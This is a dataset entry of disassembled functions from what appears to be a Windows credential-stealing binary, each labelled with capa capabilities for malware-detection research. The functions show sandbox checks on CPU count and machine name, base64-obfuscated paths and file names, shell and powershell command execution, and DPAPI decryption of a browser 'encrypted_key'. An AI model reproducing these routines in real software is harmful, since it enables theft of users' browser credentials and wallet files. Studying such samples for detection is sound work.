joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x44d040], 1
mov dword [0x44d03c], 1
mov dword [0x44d038], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x44c014], eax
mov eax, dword [0x44d04c]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x44d060]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x44d048]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x4280f4], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x401619
Capabilities:
Get session user name

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x320
mov ebx, ecx
call dbg.__main
call sym._check_cpu
test eax, eax
setne al
mov byte [ebp - 9], al
movzx eax, byte [ebp - 9]
xor eax, 1
test al, al
je 0x401665
mov dword [esp], str.Less_than_4_cpus
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp], str.More_than_4_cpus
call sym._puts
call sym._check_username
test eax, eax
setne al
mov byte [ebp - 0xa], al
movzx eax, byte [ebp - 0xa]
xor eax, 1
test al, al
je 0x401697
mov dword [esp], str.user_is_admin
call sym._puts
jmp 0x4016a3
mov dword [esp], str.user_is_not_admin
call sym._puts
call sym._check_machine_name
test eax, eax
setne al
mov byte [ebp - 0xb], al
movzx eax, byte [ebp - 0xb]
xor eax, 1
test al, al
je 0x4016c9
mov dword [esp], str.machine_name_is_DESKTOP
call sym._puts
jmp 0x4016d5
mov dword [esp], str.machine_name_is_not_DESKTOP
call sym._puts
mov dword [esp + 4], 0x4251f0
mov dword [esp], 0x44c540
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
lea eax, [ebp - 0xb0]
mov dword [esp + 4], eax
mov dword [esp], str.ZDc3NHNhLnRtcA
call sym._base64_decode
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xb4]
mov dword [esp + 4], eax
mov dword [esp], str.M18zM3NfcTcudG1w
call sym._base64_decode
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xb8]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
call sym._base64_decode
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xbc]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44c540
mov dword [esp + 4], 0x4290ba
mov dword [esp], 0x44c260
call sym._sprintf
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44c540
mov dword [esp + 4], 0x4290ba
mov dword [esp], 0x44c060
call sym._sprintf
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4290cc
mov dword [esp], 0x44c460
call sym._sprintf
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 8
ja 0x401cd3
mov eax, dword [ebp - 0x20]
shl eax, 2
add eax, 0x42932c
mov eax, dword [eax]
jmp eax
mov dword [esp], 0x42931b
call sym._printf
jmp 0x401ceb
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x402d74
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
lea eax, [ebp - 0x218]
mov dword [esp + 4], eax
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
call sym._base64_decode
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x21c]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x220]
mov dword [esp + 4], eax
mov dword [esp], 0x425020
call sym._base64_decode
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42912c
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x214]
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._create_specific_file
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x402e26
mov dword [esp], 0x429125
call sym._puts
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x429406
lea eax, [ebp - 0x414]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x414]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x402e61
mov eax, 1
jmp 0x402e81
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x402e7c
mov eax, 1
jmp 0x402e81
mov eax, 0
leave
ret

Function at 0x402e83
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str.d2luX2Y2NF96emdjLmJhdA
call sym._base64_decode
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x21c]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x220]
mov dword [esp + 4], eax
mov dword [esp], 0x425020
call sym._base64_decode
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42912c
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x218]
mov dword [esp + 4], eax
mov dword [esp], 1
call sym._create_specific_file
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x402f38
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x402f9e
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x429406
lea eax, [ebp - 0x414]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x414]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x402f7e
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x402f9e
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x402f99
mov eax, 1
jmp 0x402f9e
mov eax, 0
leave
ret
Function at 0x403220
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
call sym._get_uid
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x225], 0x33394763
mov dword [ebp - 0x221], 0x7a4a585a
mov dword [ebp - 0x21d], 0x73564761
mov dword [ebp - 0x219], 0x74424362
mov dword [ebp - 0x215], 0x3d3d6764
mov byte [ebp - 0x211], 0
lea eax, [ebp - 0x22c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x225]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x230]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x234]
mov dword [esp + 4], eax
mov dword [esp], 0x425020
call sym._base64_decode
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0x44c060
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0x44c540
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s_s_s_boot.txt__s_s_boot.txt
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x403322
mov eax, 0
jmp 0x403327
mov eax, 1
leave
ret

Function at 0x403624
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov dword [ebp - 0xc], 0x42a034
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403689
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42a038
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x403689
mov dword [esp], 0x42a022
call sym._puts
mov eax, 0
leave
ret
Function at 0x403690
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
mov dword [ebp - 0x89], 0x6e566d63
mov dword [ebp - 0x85], 0x34564749
mov dword [ebp - 0x81], 0x79394763
mov dword [ebp - 0x7d], 0x3d3d4164
mov byte [ebp - 0x79], 0
lea eax, [ebp - 0x90]
mov dword [esp + 4], eax
lea eax, [ebp - 0x89]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x94]
mov dword [esp + 4], eax
mov dword [esp], str.QzpcVXNlcnM
call sym._base64_decode
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0x44c940
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__s_sAppDataLocalTemp_s_s_s.reg
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x403756
mov eax, 1
jmp 0x40375b
mov eax, 0
leave
ret

Function at 0x40375d
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x3b], 0x48566b55
mov dword [ebp - 0x37], 0x56464649
mov dword [ebp - 0x33], 0x5a4a5652
mov byte [ebp - 0x2f], 0
lea eax, [ebp - 0x40]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42a070
lea eax, [ebp - 0x2e]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x2e]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4037cd
mov eax, 0
jmp 0x4037d2
mov eax, 1
leave
ret
Function at 0x4037d4
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
mov dword [ebp - 0x10], 3
mov dword [ebp - 0xc], 0
jmp 0x4038df
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x42524c]
mov dword [esp + 4], str._Command_dir
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4038db
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x42524c]
lea edx, [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x425248]
lea edx, [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x39], 0x33394763
mov dword [ebp - 0x35], 0x7a4a585a
mov dword [ebp - 0x31], 0x73564761
mov dword [ebp - 0x2d], 0x3d3d4162
mov byte [ebp - 0x29], 0
lea eax, [ebp - 0x40]
mov dword [esp + 4], eax
lea eax, [ebp - 0x39]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_files_s_
lea eax, [ebp - 0xd6]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0xd6]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4038d4
mov eax, 0
jmp 0x4038f0
mov eax, 1
jmp 0x4038f0
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
jb 0x4037f0
mov eax, 0
leave
ret

Function at 0x4039e0
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
mov dword [ebp - 0x21], 0x33394763
mov dword [ebp - 0x1d], 0x7a4a585a
mov dword [ebp - 0x19], 0x73564761
mov dword [ebp - 0x15], 0x3d3d4162
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
lea eax, [ebp - 0x21]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_files_s_
lea eax, [ebp - 0xbe]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0xbe]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x403a6e
mov eax, 0
jmp 0x403a73
mov eax, 1
leave
ret
Function at 0x403ae1
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x118]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1c
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call eax
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x403b94
mov eax, 0
jmp 0x403c3f
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x11c], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x11c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x14], eax
je 0x403c2c
mov dword [esp], 0x42a0b0
call sym._printf_1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x403ca7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x2a], 0x636e6522
mov dword [ebp - 0x26], 0x74707972
mov dword [ebp - 0x22], 0x6b5f6465
mov dword [ebp - 0x1e], 0x3a227965
mov word [ebp - 0x1a], 0x22
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0xc], 0
jne 0x403d06
mov eax, 0
jmp 0x403d80
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._strlen
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov dword [esp + 4], 0x22
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strchr
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x403d3d
mov eax, 0
jmp 0x403d80
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strncpy
mov eax, dword [ebp - 0x14]
leave
ret
Function at 0x403d82
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call eax
sub esp, 0x1c
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call eax
sub esp, 0x1c
add dword [ebp - 0x10], 5
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
call eax
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x2c]
shl eax, 2
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0xc], 0
jmp 0x403eef
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sx_02x
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._sprintf_2
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xc], eax
jb 0x403ebf
mov eax, dword [ebp - 0x18]
leave
ret

Function at 0x403f65
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__s___s_____null
lea eax, [ebp - 0x200]
mov dword [esp], eax
call sym._sprintf_3
lea eax, [ebp - 0x200]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403fb0
mov eax, 0
jmp 0x403fb5
mov eax, 1
leave
ret
Function at 0x4042ad
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strncpy
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call eax
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strncat
mov dword [ebp + 8], eax
mov dword [ebp - 0x85], 0x764a4855
mov dword [ebp - 0x81], 0x736c6d5a
mov dword [ebp - 0x7d], 0x3d4d585a
mov byte [ebp - 0x79], 0
lea eax, [ebp - 0x8c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x85]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42a371
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._sprintf_4
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x40440f
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
lea eax, [ebp - 0xdc]
mov dword [esp + 4], eax
mov dword [esp], 0x425348
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.gecko
mov dword [esp + 0x10], 0x44ca40
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call sym._sprintf_4
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40448a
mov eax, 0
jmp 0x40448f
mov eax, 1
leave
ret